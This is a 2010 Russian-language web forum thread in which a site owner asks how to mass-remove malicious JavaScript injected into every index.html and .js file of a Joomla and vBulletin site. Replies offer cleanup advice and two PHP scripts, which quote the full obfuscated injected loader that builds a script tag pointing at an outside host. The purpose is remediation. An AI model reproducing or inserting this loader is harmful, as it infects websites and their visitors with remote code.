Лишний код во всех файлах?

Discussion in 'PHP' started by namak, 20 Apr 2010.

  1. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    во всех индексных файлах и файлах с расширением js в конце добавился странный код
    как его можно удалить? сразу во всех файлах, по одному ковырять ооочень долго.
     
  2. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    код в студию
     
    4 people like this.
  3. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    вот:
     
  4. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    для начала сменить пасс на ФТП
     
    2 people like this.
  5. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    уже сделано, и в саппорт(джино) уже написали, но ответа пока нету.
    у юзеров антивири ругаются на каждую страничку сайта почти!!!

    как массово удалить этот код из файлов index.html
    и из всех файлов с рассширением .js
    ????
     
  6. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    По нормальному - восстановить из бэкапа (которого как всегда нет ;) )
    Ручками - в каждом файле удалить
    Софтом - скачать весь сайт на комп и темже notepad++ сделать замену текста
     
  7. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    а причины?
    кроме фтп, и взлома хостеров
    из за чего еще это могло произойти?
     
  8. ^_WhitE_DeMoN_^

    Joined:
    1 Mar 2009
    Messages:
    102
    Likes Received:
    10
    Reputations:
    0
    #8 ^_WhitE_DeMoN_^, 20 Apr 2010
    Last edited: 20 Apr 2010
    1 person likes this.
  9. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    все бы хорошо. но только она не умеет искать содежимое в файлах и заменять их(массово)
     
  10. bug999

    bug999 New Member

    Joined:
    19 Oct 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Total commander в руки + блокнот.
    Щас над сайтом и готово.(ищет масово)
     
  11. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    при всем желании часу не хватит, сайт:
    joomla+vbulletin(3 штуки)

    иди за час почисти все файлики
     
  12. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Получаешь список файлов и каталогов, расположенных по указанному пути функцией scandir, после чего поочередно открываешь файлы, представив их ввиде массива и unset'ом дропаешь оттуда заданное количество строк начиная с конца файла.
     
    #12 h00lyshit!, 21 Apr 2010
    Last edited: 21 Apr 2010
  13. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    Проще в ручную, ну ещё вариант взять движки CMS и форума и заменить ими. Только нужно знать, что конкретно нельзя перезаписывать.
     
    1 person likes this.
  14. ^_WhitE_DeMoN_^

    Joined:
    1 Mar 2009
    Messages:
    102
    Likes Received:
    10
    Reputations:
    0
    Как раз это и может (массово) !
    Могу сказать самая лучшая прога для оптового замена контента файлов.
     
  15. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    нужно заменить часть содержимого файла. то есть лишшний яваскрипт в конце всех файлов
     
  16. ^_WhitE_DeMoN_^

    Joined:
    1 Mar 2009
    Messages:
    102
    Likes Received:
    10
    Reputations:
    0
    Раскуривай доки проги - не пожалееш...
    Не раз спасала
     
  17. namak

    namak Member

    Joined:
    29 Jan 2009
    Messages:
    66
    Likes Received:
    8
    Reputations:
    0
    будем курить
     
  18. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    Что-то типо этого (не проверял):
    PHP:
    $shit = <<<TXT
    var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7 0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d% 2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+w, G);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351 2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6 b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String();
    TXT;

    $dir '/home'// папка в которой нужно всё это заменять (если данная, то воспользоваться ф-ей getcwd() )


    if ($handle opendir($dir)) {
        echo 
    "Successfully opened directory.\r\n";

        while (
    false !== ($file readdir($handle))) {
            if( 
    $file !== '.' || $file !== '..' )
          {
            if( 
    substr$file0, -) == 'html' )
                {
                    
    file_put_contents$filestr_replace"<script>".$shit."</script>"""file_get_contents($file)) );
                    echo 
    $file." - ok\r\n";
                }
            else if( 
    substr$file0, -) == 'js' )
                {
                    
    file_put_contents$filestr_replace$shit""file_get_contents($file)) );
                    echo 
    $file." - ok\r\n";
                } else 
    continie;
          }
        }

        
    closedir($handle);
        echo 
    'done...';
    }
     
    1 person likes this.
  19. $now

    $now Member

    Joined:
    27 Apr 2009
    Messages:
    75
    Likes Received:
    9
    Reputations:
    3
    Deathdreams
    Вас хостинг может послать подалее за время выполнения. Нужно разбивать на итерации.
     
    1 person likes this.
  20. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    PHP:
     $shit = <<<TXT 
    var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7   0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d%   2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+wG);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351   2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6   b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ   H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String(); 
    TXT;


    foreach (
    glob("*.html") as $file) {
        
    file_put_contents$filestr_replace"<script>".$shit."</script>"""file_get_contents($file)) );
    }

    foreach (
    glob("*.js") as $file) {
        
    file_put_contents$filestr_replace$shit""file_get_contents($file)) );
    }